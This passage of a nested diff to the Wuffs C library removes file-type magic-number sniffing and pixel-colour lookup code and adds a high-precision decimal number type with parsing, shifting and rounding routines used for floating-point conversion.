!defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ +- defined(WUFFS_CONFIG__MODULE__BASE__MAGIC) ++#define WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE 2047 ++#define WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION 800 + +-// ---------------- Magic Numbers ++// WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL is the largest N such that ++// ((10 << N) < (1 << 64)). ++#define WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL 60 + +-// ICO doesn't start with a magic identifier. Instead, see if the opening bytes +-// are plausibly ICO. ++// wuffs_private_impl__high_prec_dec (abbreviated as HPD) is a fixed precision ++// floating point decimal number, augmented with ±infinity values, but it ++// cannot represent NaN (Not a Number). + // +-// Callers should have already verified that (prefix_data.len >= 2) and the +-// first two bytes are 0x00. ++// "High precision" means that the mantissa holds 800 decimal digits. 800 is ++// WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION. + // +-// See: +-// - https://docs.fileformat.com/image/ico/ +-static int32_t // +-wuffs_base__magic_number_guess_fourcc__maybe_ico( +- wuffs_base__slice_u8 prefix_data, +- bool prefix_closed) { +- // Allow-list for the Image Type field. +- if (prefix_data.len < 4) { +- return prefix_closed ? 0 : -1; +- } else if (prefix_data.ptr[3] != 0) { +- return 0; +- } +- switch (prefix_data.ptr[2]) { +- case 0x01: // ICO +- case 0x02: // CUR +- break; +- default: +- return 0; +- } +- +- // The Number Of Images should be positive. +- if (prefix_data.len < 6) { +- return prefix_closed ? 0 : -1; +- } else if ((prefix_data.ptr[4] == 0) && (prefix_data.ptr[5] == 0)) { +- return 0; +- } ++// An HPD isn't for general purpose arithmetic, only for conversions to and ++// from IEEE 754 double-precision floating point, where the largest and ++// smallest positive, finite values are approximately 1.8e+308 and 4.9e-324. ++// HPD exponents above +2047 mean infinity, below -2047 mean zero. The ±2047 ++// bounds are further away from zero than ±(324 + 800), where 800 and 2047 is ++// WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION and ++// WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE. ++// ++// digits[.. num_digits] are the number's digits in big-endian order. The ++// uint8_t values are in the range [0 ..= 9], not ['0' ..= '9'], where e.g. '7' ++// is the ASCII value 0x37. ++// ++// decimal_point is the index (within digits) of the decimal point. It may be ++// negative or be larger than num_digits, in which case the explicit digits are ++// padded with implicit zeroes. ++// ++// For example, if num_digits is 3 and digits is "\x07\x08\x09": ++// - A decimal_point of -2 means ".00789" ++// - A decimal_point of -1 means ".0789" ++// - A decimal_point of +0 means ".789" ++// - A decimal_point of +1 means "7.89" ++// - A decimal_point of +2 means "78.9" ++// - A decimal_point of +3 means "789." ++// - A decimal_point of +4 means "7890." ++// - A decimal_point of +5 means "78900." ++// ++// As above, a decimal_point higher than +2047 means that the overall value is ++// infinity, lower than -2047 means zero. ++// ++// negative is a sign bit. An HPD can distinguish positive and negative zero. ++// ++// truncated is whether there are more than ++// WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION digits, and at least one of those ++// extra digits are non-zero. The existence of long-tail digits can affect ++// rounding. ++// ++// The "all fields are zero" value is valid, and represents the number +0. ++typedef struct wuffs_private_impl__high_prec_dec__struct { ++ uint32_t num_digits; ++ int32_t decimal_point; ++ bool negative; ++ bool truncated; ++ uint8_t digits[WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION]; ++} wuffs_private_impl__high_prec_dec; + +- // The first ICONDIRENTRY's fourth byte should be zero. +- if (prefix_data.len < 10) { +- return prefix_closed ? 0 : -1; +- } else if (prefix_data.ptr[9] != 0) { +- return 0; ++// wuffs_private_impl__high_prec_dec__trim trims trailing zeroes from the ++// h->digits[.. h->num_digits] slice. They have no benefit, since we explicitly ++// track h->decimal_point. ++// ++// Preconditions: ++// - h is non-NULL. ++static inline void // ++wuffs_private_impl__high_prec_dec__trim(wuffs_private_impl__high_prec_dec* h) { ++ while ((h->num_digits > 0) && (h->digits[h->num_digits - 1] == 0)) { ++ h->num_digits--; + } +- +- // TODO: have a separate FourCC for CUR? +- return 0x49434F20; // 'ICO 'be + } + +-// TGA doesn't start with a magic identifier. Instead, see if the opening bytes +-// are plausibly TGA. ++// wuffs_private_impl__high_prec_dec__assign sets h to represent the number x. + // +-// Callers should have already verified that (prefix_data.len >= 2) and the +-// second byte (prefix_data.ptr[1], the Color Map Type byte), is either 0x00 or +-// 0x01. +-// +-// See: +-// - https://docs.fileformat.com/image/tga/ +-// - https://www.dca.fee.unicamp.br/~martino/disciplinas/ea978/tgaffs.pdf +-static int32_t // +-wuffs_base__magic_number_guess_fourcc__maybe_tga( +- wuffs_base__slice_u8 prefix_data, +- bool prefix_closed) { +- // Allow-list for the Image Type field. +- if (prefix_data.len < 3) { +- return prefix_closed ? 0 : -1; +- } +- switch (prefix_data.ptr[2]) { +- case 0x01: +- case 0x02: +- case 0x03: +- case 0x09: +- case 0x0A: +- case 0x0B: +- break; +- default: +- // TODO: 0x20 and 0x21 are invalid, according to the spec, but are +- // apparently unofficial extensions. +- return 0; +- } +- +- // Allow-list for the Color Map Entry Size field (if the Color Map Type field +- // is non-zero) or else all the Color Map fields should be zero. +- if (prefix_data.len < 8) { +- return prefix_closed ? 0 : -1; +- } else if (prefix_data.ptr[1] != 0x00) { +- switch (prefix_data.ptr[7]) { +- case 0x0F: +- case 0x10: +- case 0x18: +- case 0x20: +- break; +- default: +- return 0; +- } +- } else if ((prefix_data.ptr[3] | prefix_data.ptr[4] | prefix_data.ptr[5] | +- prefix_data.ptr[6] | prefix_data.ptr[7]) != 0x00) { +- return 0; +- } ++// Preconditions: ++// - h is non-NULL. ++static void // ++wuffs_private_impl__high_prec_dec__assign(wuffs_private_impl__high_prec_dec* h, ++ uint64_t x, ++ bool negative) { ++ uint32_t n = 0; + +- // Allow-list for the Pixel Depth field. +- if (prefix_data.len < 17) { +- return prefix_closed ? 0 : -1; +- } +- switch (prefix_data.ptr[16]) { +- case 0x01: +- case 0x08: +- case 0x0F: +- case 0x10: +- case 0x18: +- case 0x20: +- break; +- default: +- return 0; ++ // Set h->digits. ++ if (x > 0) { ++ // Calculate the digits, working right-to-left. After we determine n (how ++ // many digits there are), copy from buf to h->digits. ++ // ++ // UINT64_MAX, 18446744073709551615, is 20 digits long. It can be faster to ++ // copy a constant number of bytes than a variable number (20 instead of ++ // n). Make buf large enough (and start writing to it from the middle) so ++ // that can we always copy 20 bytes: the slice buf[(20-n) .. (40-n)]. ++ uint8_t buf[40] = {0}; ++ uint8_t* ptr = &buf[20]; ++ do { ++ uint64_t remaining = x / 10; ++ x -= remaining * 10; ++ ptr--; ++ *ptr = (uint8_t)x; ++ n++; ++ x = remaining; ++ } while (x > 0); ++ memcpy(h->digits, ptr, 20); + } + +- return 0x54474120; // 'TGA 'be ++ // Set h's other fields. ++ h->num_digits = n; ++ h->decimal_point = (int32_t)n; ++ h->negative = negative; ++ h->truncated = false; ++ wuffs_private_impl__high_prec_dec__trim(h); + } + +-WUFFS_BASE__MAYBE_STATIC int32_t // +-wuffs_base__magic_number_guess_fourcc(wuffs_base__slice_u8 prefix_data, +- bool prefix_closed) { +- // This is similar to (but different from): +- // - the magic/Magdir tables under https://github.com/file/file +- // - the MIME Sniffing algorithm at https://mimesniff.spec.whatwg.org/ +- +- // table holds the 'magic numbers' (which are actually variable length +- // strings). The strings may contain NUL bytes, so the "const char* magic" +- // value starts with the length-minus-1 of the 'magic number'. +- // +- // Keep it sorted by magic[1], then magic[0] descending (prioritizing longer +- // matches) and finally by magic[2:]. When multiple entries match, the +- // longest one wins. +- // +- // The fourcc field might be negated, in which case there's further +- // specialization (see § below). +- static struct { +- int32_t fourcc; +- const char* magic; +- } table[] = { +- {-0x30302020, "\x01\x00\x00"}, // '00 'be +- {+0x475A2020, "\x02\x1F\x8B\x08"}, // GZ +- {+0x5A535444, "\x03\x28\xB5\x2F\xFD"}, // ZSTD +- {+0x425A3220, "\x02\x42\x5A\x68"}, // BZ2 +- {+0x424D5020, "\x01\x42\x4D"}, // BMP +- {+0x47494620, "\x03\x47\x49\x46\x38"}, // GIF +- {+0x54494646, "\x03\x49\x49\x2A\x00"}, // TIFF (little-endian) +- {+0x54494646, "\x03\x4D\x4D\x00\x2A"}, // TIFF (big-endian) +- {+0x4E50424D, "\x02\x50\x35\x0A"}, // NPBM (P5; *.pgm) +- {+0x4E50424D, "\x02\x50\x36\x0A"}, // NPBM (P6; *.ppm) +- {-0x52494646, "\x03\x52\x49\x46\x46"}, // RIFF +- {+0x4C5A4D41, "\x04\x5D\x00\x10\x00\x00"}, // LZMA +- {+0x4C5A4D41, "\x02\x5D\x00\x00"}, // LZMA +- {+0x4E494520, "\x02\x6E\xC3\xAF"}, // NIE +- {+0x514F4920, "\x03\x71\x6F\x69\x66"}, // QOI +- {+0x5A4C4942, "\x01\x78\x9C"}, // ZLIB +- {+0x504E4720, "\x03\x89\x50\x4E\x47"}, // PNG +- {+0x585A2020, "\x04\xFD\x37\x7A\x58\x5A"}, // XZ +- {+0x4A504547, "\x01\xFF\xD8"}, // JPEG +- }; +- static const size_t table_len = sizeof(table) / sizeof(table[0]); +- +- if (prefix_data.len == 0) { +- return prefix_closed ? 0 : -1; ++static wuffs_base__status // ++wuffs_private_impl__high_prec_dec__parse(wuffs_private_impl__high_prec_dec* h, ++ wuffs_base__slice_u8 s, ++ uint32_t options) { ++ if (!h) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +- uint8_t pre_first_byte = prefix_data.ptr[0]; ++ h->num_digits = 0; ++ h->decimal_point = 0; ++ h->negative = false; ++ h->truncated = false; + +- int32_t fourcc = 0; +- size_t i; +- for (i = 0; i < table_len; i++) { +- uint8_t mag_first_byte = ((uint8_t)(table[i].magic[1])); +- if (pre_first_byte < mag_first_byte) { +- break; +- } else if (pre_first_byte > mag_first_byte) { +- continue; +- } +- fourcc = table[i].fourcc; ++ uint8_t* p = s.ptr; ++ uint8_t* q = s.ptr + s.len; + +- uint8_t mag_remaining_len = ((uint8_t)(table[i].magic[0])); +- if (mag_remaining_len == 0) { +- goto match; ++ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { ++ for (;; p++) { ++ if (p >= q) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } else if (*p != '_') { ++ break; ++ } + } ++ } + +- const char* mag_remaining_ptr = table[i].magic + 2; +- uint8_t* pre_remaining_ptr = prefix_data.ptr + 1; +- size_t pre_remaining_len = prefix_data.len - 1; +- if (pre_remaining_len < mag_remaining_len) { +- if (!memcmp(pre_remaining_ptr, mag_remaining_ptr, pre_remaining_len)) { +- return prefix_closed ? 0 : -1; +- } ++ // Parse sign. ++ do { ++ if (*p == '+') { ++ p++; ++ } else if (*p == '-') { ++ h->negative = true; ++ p++; + } else { +- if (!memcmp(pre_remaining_ptr, mag_remaining_ptr, mag_remaining_len)) { +- goto match; ++ break; ++ } ++ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { ++ for (;; p++) { ++ if (p >= q) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } else if (*p != '_') { ++ break; ++ } + } + } +- } +- +- if (prefix_data.len < 2) { +- return prefix_closed ? 0 : -1; +- } else if ((prefix_data.ptr[1] == 0x00) || (prefix_data.ptr[1] == 0x01)) { +- return wuffs_base__magic_number_guess_fourcc__maybe_tga(prefix_data, +- prefix_closed); +- } +- +- return 0; +- +-match: +- // Negative FourCC values (see § above) are further specialized. +- if (fourcc < 0) { +- fourcc = -fourcc; ++ } while (0); + +- if (fourcc == 0x52494646) { // 'RIFF'be +- if (prefix_data.len < 12) { +- return prefix_closed ? 0 : -1; ++ // Parse digits, up to (and including) a '.', 'E' or 'e'. Examples for each ++ // limb in this if-else chain: ++ // - "0.789" ++ // - "1002.789" ++ // - ".789" ++ // - Other (invalid input). ++ uint32_t nd = 0; ++ int32_t dp = 0; ++ bool no_digits_before_separator = false; ++ if (('0' == *p) && ++ !(options & ++ WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_MULTIPLE_LEADING_ZEROES)) { ++ p++; ++ for (;; p++) { ++ if (p >= q) { ++ goto after_all; ++ } else if (*p == ++ ((options & ++ WUFFS_BASE__PARSE_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) ++ ? ',' ++ : '.')) { ++ p++; ++ goto after_sep; ++ } else if ((*p == 'E') || (*p == 'e')) { ++ p++; ++ goto after_exp; ++ } else if ((*p != '_') || ++ !(options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); + } +- uint32_t x = wuffs_base__peek_u32be__no_bounds_check(prefix_data.ptr + 8); +- if (x == 0x57454250) { // 'WEBP'be +- return 0x57454250; // 'WEBP'be ++ } ++ ++ } else if (('0' <= *p) && (*p <= '9')) { ++ if (*p == '0') { ++ for (; (p < q) && (*p == '0'); p++) { + } ++ } else { ++ h->digits[nd++] = (uint8_t)(*p - '0'); ++ dp = (int32_t)nd; ++ p++; ++ } + +- } else if (fourcc == 0x30302020) { // '00 'be +- // Binary data starting with multiple 0x00 NUL bytes is quite common. +- // Unfortunately, some file formats also don't start with a magic +- // identifier, so we have to use heuristics (where the order matters, the +- // same as /usr/bin/file's magic/Magdir tables) as best we can. Maybe +- // it's TGA, ICO/CUR, etc. Maybe it's something else. +- int32_t tga = wuffs_base__magic_number_guess_fourcc__maybe_tga( +- prefix_data, prefix_closed); +- if (tga != 0) { +- return tga; ++ for (;; p++) { ++ if (p >= q) { ++ goto after_all; ++ } else if (('0' <= *p) && (*p <= '9')) { ++ if (nd < WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION) { ++ h->digits[nd++] = (uint8_t)(*p - '0'); ++ dp = (int32_t)nd; ++ } else if ('0' != *p) { ++ // Long-tail non-zeroes set the truncated bit. ++ h->truncated = true; ++ } ++ } else if (*p == ++ ((options & ++ WUFFS_BASE__PARSE_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) ++ ? ',' ++ : '.')) { ++ p++; ++ goto after_sep; ++ } else if ((*p == 'E') || (*p == 'e')) { ++ p++; ++ goto after_exp; ++ } else if ((*p != '_') || ++ !(options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); + } +- int32_t ico = wuffs_base__magic_number_guess_fourcc__maybe_ico( +- prefix_data, prefix_closed); +- if (ico != 0) { +- return ico; ++ } ++ ++ } else if (*p == ((options & ++ WUFFS_BASE__PARSE_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) ++ ? ',' ++ : '.')) { ++ p++; ++ no_digits_before_separator = true; ++ ++ } else { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ ++after_sep: ++ for (;; p++) { ++ if (p >= q) { ++ goto after_all; ++ } else if ('0' == *p) { ++ if (nd == 0) { ++ // Track leading zeroes implicitly. ++ dp--; ++ } else if (nd < WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION) { ++ h->digits[nd++] = (uint8_t)(*p - '0'); + } +- if (prefix_data.len < 4) { +- return prefix_closed ? 0 : -1; +- } else if ((prefix_data.ptr[2] != 0x00) && +- ((prefix_data.ptr[2] >= 0x80) || +- (prefix_data.ptr[3] != 0x00))) { +- // Roughly speaking, this could be a non-degenerate (non-0-width and +- // non-0-height) WBMP image. +- return 0x57424D50; // 'WBMP'be ++ } else if (('0' < *p) && (*p <= '9')) { ++ if (nd < WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION) { ++ h->digits[nd++] = (uint8_t)(*p - '0'); ++ } else { ++ // Long-tail non-zeroes set the truncated bit. ++ h->truncated = true; + } +- return 0; ++ } else if ((*p == 'E') || (*p == 'e')) { ++ p++; ++ goto after_exp; ++ } else if ((*p != '_') || ++ !(options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); + } + } +- return fourcc; +-} +- +-#endif // !defined(WUFFS_CONFIG__MODULES) || +- // defined(WUFFS_CONFIG__MODULE__BASE) || +- // defined(WUFFS_CONFIG__MODULE__BASE__MAGIC) +- +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ +- defined(WUFFS_CONFIG__MODULE__BASE__PIXCONV) + +-// ---------------- Pixel Swizzler ++after_exp: ++ do { ++ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { ++ for (;; p++) { ++ if (p >= q) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } else if (*p != '_') { ++ break; ++ } ++ } ++ } + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") +-static uint64_t // +-wuffs_base__pixel_swizzler__bgrw__rgb__x86_sse42(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len); ++ int32_t exp_sign = +1; ++ if (*p == '+') { ++ p++; ++ } else if (*p == '-') { ++ exp_sign = -1; ++ p++; ++ } + +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") +-static uint64_t // +-wuffs_base__pixel_swizzler__swap_rgbx_bgrx__x86_sse42(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len); ++ int32_t exp = 0; ++ const int32_t exp_large = WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE + ++ WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION; ++ bool saw_exp_digits = false; ++ for (; p < q; p++) { ++ if ((*p == '_') && ++ (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { ++ // No-op. ++ } else if (('0' <= *p) && (*p <= '9')) { ++ saw_exp_digits = true; ++ if (exp < exp_large) { ++ exp = (10 * exp) + ((int32_t)(*p - '0')); ++ } ++ } else { ++ break; ++ } ++ } ++ if (!saw_exp_digits) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ dp += exp_sign * exp; ++ } while (0); + +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") +-static uint64_t // +-wuffs_base__pixel_swizzler__xxxx__y__x86_sse42(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len); +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) ++after_all: ++ if (p != q) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ h->num_digits = nd; ++ if (nd == 0) { ++ if (no_digits_before_separator) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ h->decimal_point = 0; ++ } else if (dp < -WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE) { ++ h->decimal_point = -WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE - 1; ++ } else if (dp > +WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE) { ++ h->decimal_point = +WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE + 1; ++ } else { ++ h->decimal_point = dp; ++ } ++ wuffs_private_impl__high_prec_dec__trim(h); ++ return wuffs_base__make_status(NULL); ++} + + // -------- + +-static inline uint32_t // +-wuffs_base__swap_u32_argb_abgr(uint32_t u) { +- uint32_t o = u & 0xFF00FF00ul; +- uint32_t r = u & 0x00FF0000ul; +- uint32_t b = u & 0x000000FFul; +- return o | (r >> 16) | (b << 16); +-} ++// wuffs_private_impl__high_prec_dec__lshift_num_new_digits returns the number ++// of additional decimal digits when left-shifting by shift. ++// ++// See below for preconditions. ++static uint32_t // ++wuffs_private_impl__high_prec_dec__lshift_num_new_digits( ++ wuffs_private_impl__high_prec_dec* h, ++ uint32_t shift) { ++ // Masking with 0x3F should be unnecessary (assuming the preconditions) but ++ // it's cheap and ensures that we don't overflow the ++ // wuffs_private_impl__hpd_left_shift array. ++ shift &= 63; + +-static inline uint64_t // +-wuffs_base__swap_u64_argb_abgr(uint64_t u) { +- uint64_t o = u & 0xFFFF0000FFFF0000ull; +- uint64_t r = u & 0x0000FFFF00000000ull; +- uint64_t b = u & 0x000000000000FFFFull; +- return o | (r >> 32) | (b << 32); +-} ++ uint32_t x_a = wuffs_private_impl__hpd_left_shift[shift]; ++ uint32_t x_b = wuffs_private_impl__hpd_left_shift[shift + 1]; ++ uint32_t num_new_digits = x_a >> 11; ++ uint32_t pow5_a = 0x7FF & x_a; ++ uint32_t pow5_b = 0x7FF & x_b; + +-static inline uint32_t // +-wuffs_base__color_u64__as__color_u32__swap_u32_argb_abgr(uint64_t c) { +- uint32_t a = ((uint32_t)(0xFF & (c >> 56))); +- uint32_t r = ((uint32_t)(0xFF & (c >> 40))); +- uint32_t g = ((uint32_t)(0xFF & (c >> 24))); +- uint32_t b = ((uint32_t)(0xFF & (c >> 8))); +- return (a << 24) | (b << 16) | (g << 8) | (r << 0); ++ const uint8_t* pow5 = &wuffs_private_impl__powers_of_5[pow5_a]; ++ uint32_t i = 0; ++ uint32_t n = pow5_b - pow5_a; ++ for (; i < n; i++) { ++ if (i >= h->num_digits) { ++ return num_new_digits - 1; ++ } else if (h->digits[i] == pow5[i]) { ++ continue; ++ } else if (h->digits[i] < pow5[i]) { ++ return num_new_digits - 1; ++ } else { ++ return num_new_digits; ++ } ++ } ++ return num_new_digits; + } + + // -------- + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__color_u32_argb_premul // +-wuffs_base__pixel_buffer__color_u32_at(const wuffs_base__pixel_buffer* pb, +- uint32_t x, +- uint32_t y) { +- if (!pb || (x >= pb->pixcfg.private_impl.width) || +- (y >= pb->pixcfg.private_impl.height)) { ++// wuffs_private_impl__high_prec_dec__rounded_integer returns the integral ++// (non-fractional) part of h, provided that it is 18 or fewer decimal digits. ++// For 19 or more digits, it returns UINT64_MAX. Note that: ++// - (1 << 53) is 9007199254740992, which has 16 decimal digits. ++// - (1 << 56) is 72057594037927936, which has 17 decimal digits. ++// - (1 << 59) is 576460752303423488, which has 18 decimal digits. ++// - (1 << 63) is 9223372036854775808, which has 19 decimal digits. ++// and that IEEE 754 double precision has 52 mantissa bits. ++// ++// That integral part is rounded-to-even: rounding 7.5 or 8.5 both give 8. ++// ++// h's negative bit is ignored: rounding -8.6 returns 9. ++// ++// See below for preconditions. ++static uint64_t // ++wuffs_private_impl__high_prec_dec__rounded_integer( ++ wuffs_private_impl__high_prec_dec* h) { ++ if ((h->num_digits == 0) || (h->decimal_point < 0)) { + return 0; ++ } else if (h->decimal_point > 18) { ++ return UINT64_MAX; + } + +- if (wuffs_base__pixel_format__is_planar(&pb->pixcfg.private_impl.pixfmt)) { +- // TODO: support planar formats. +- return 0; ++ uint32_t dp = (uint32_t)(h->decimal_point); ++ uint64_t n = 0; ++ uint32_t i = 0; ++ for (; i < dp; i++) { ++ n = (10 * n) + ((i < h->num_digits) ? h->digits[i] : 0); + } + +- size_t stride = pb->private_impl.planes[0].stride; +- const uint8_t* row = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)); ++ bool round_up = false; ++ if (dp < h->num_digits) { ++ round_up = h->digits[dp] >= 5; ++ if ((h->digits[dp] == 5) && (dp + 1 == h->num_digits)) { ++ // We are exactly halfway. If we're truncated, round up, otherwise round ++ // to even. ++ round_up = h->truncated || // ++ ((dp > 0) && (1 & h->digits[dp - 1])); ++ } ++ } ++ if (round_up) { ++ n++; ++ } + +- switch (pb->pixcfg.private_impl.pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: +- return wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x))); ++ return n; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: { +- uint8_t* palette = pb->private_impl.planes[3].ptr; +- return wuffs_base__peek_u32le__no_bounds_check(palette + +- (4 * ((size_t)row[x]))); +- } ++// wuffs_private_impl__high_prec_dec__small_xshift shifts h's number (where 'x' ++// is 'l' or 'r' for left or right) by a small shift value. ++// ++// Preconditions: ++// - h is non-NULL. ++// - h->decimal_point is "not extreme". ++// - shift is non-zero. ++// - shift is "a small shift". ++// ++// "Not extreme" means within ±WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE. ++// ++// "A small shift" means not more than ++// WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL. ++// ++// wuffs_private_impl__high_prec_dec__rounded_integer and ++// wuffs_private_impl__high_prec_dec__lshift_num_new_digits have the same ++// preconditions. ++// ++// wuffs_private_impl__high_prec_dec__lshift keeps the first two preconditions ++// but not the last two. Its shift argument is signed and does not need to be ++// "small": zero is a no-op, positive means left shift and negative means right ++// shift. + +- // Common formats above. Rarer formats below. ++static void // ++wuffs_private_impl__high_prec_dec__small_lshift( ++ wuffs_private_impl__high_prec_dec* h, ++ uint32_t shift) { ++ if (h->num_digits == 0) { ++ return; ++ } ++ uint32_t num_new_digits = ++ wuffs_private_impl__high_prec_dec__lshift_num_new_digits(h, shift); ++ uint32_t rx = h->num_digits - 1; // Read index. ++ uint32_t wx = h->num_digits - 1 + num_new_digits; // Write index. ++ uint64_t n = 0; + +- case WUFFS_BASE__PIXEL_FORMAT__Y: +- return 0xFF000000 | (0x00010101 * ((uint32_t)(row[x]))); +- case WUFFS_BASE__PIXEL_FORMAT__Y_16LE: +- return 0xFF000000 | (0x00010101 * ((uint32_t)(row[(2 * x) + 1]))); +- case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: +- return 0xFF000000 | (0x00010101 * ((uint32_t)(row[(2 * x) + 0]))); ++ // Repeat: pick up a digit, put down a digit, right to left. ++ while (((int32_t)rx) >= 0) { ++ n += ((uint64_t)(h->digits[rx])) << shift; ++ uint64_t quo = n / 10; ++ uint64_t rem = n - (10 * quo); ++ if (wx < WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION) { ++ h->digits[wx] = (uint8_t)rem; ++ } else if (rem > 0) { ++ h->truncated = true; ++ } ++ n = quo; ++ wx--; ++ rx--; ++ } + +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: { +- uint8_t* palette = pb->private_impl.planes[3].ptr; +- return wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( +- wuffs_base__peek_u32le__no_bounds_check(palette + +- (4 * ((size_t)row[x])))); ++ // Put down leading digits, right to left. ++ while (n > 0) { ++ uint64_t quo = n / 10; ++ uint64_t rem = n - (10 * quo); ++ if (wx < WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION) { ++ h->digits[wx] = (uint8_t)rem; ++ } else if (rem > 0) { ++ h->truncated = true; + } ++ n = quo; ++ wx--; ++ } + +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- return wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( +- wuffs_base__peek_u16le__no_bounds_check(row + (2 * ((size_t)x)))); +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- return 0xFF000000 | +- wuffs_base__peek_u24le__no_bounds_check(row + (3 * ((size_t)x))); +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- return wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( +- wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x)))); +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- return wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( +- wuffs_base__peek_u64le__no_bounds_check(row + (8 * ((size_t)x)))); +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +- return 0xFF000000 | +- wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x))); ++ // Finish. ++ h->num_digits += num_new_digits; ++ if (h->num_digits > WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION) { ++ h->num_digits = WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION; ++ } ++ h->decimal_point += (int32_t)num_new_digits; ++ wuffs_private_impl__high_prec_dec__trim(h); ++} + +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- return wuffs_base__swap_u32_argb_abgr( +- 0xFF000000 | +- wuffs_base__peek_u24le__no_bounds_check(row + (3 * ((size_t)x)))); +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- return wuffs_base__swap_u32_argb_abgr( +- wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( +- wuffs_base__peek_u32le__no_bounds_check(row + +- (4 * ((size_t)x))))); +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: +- return wuffs_base__swap_u32_argb_abgr( +- wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x)))); +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +- return wuffs_base__swap_u32_argb_abgr( +- 0xFF000000 | +- wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x)))); ++static void // 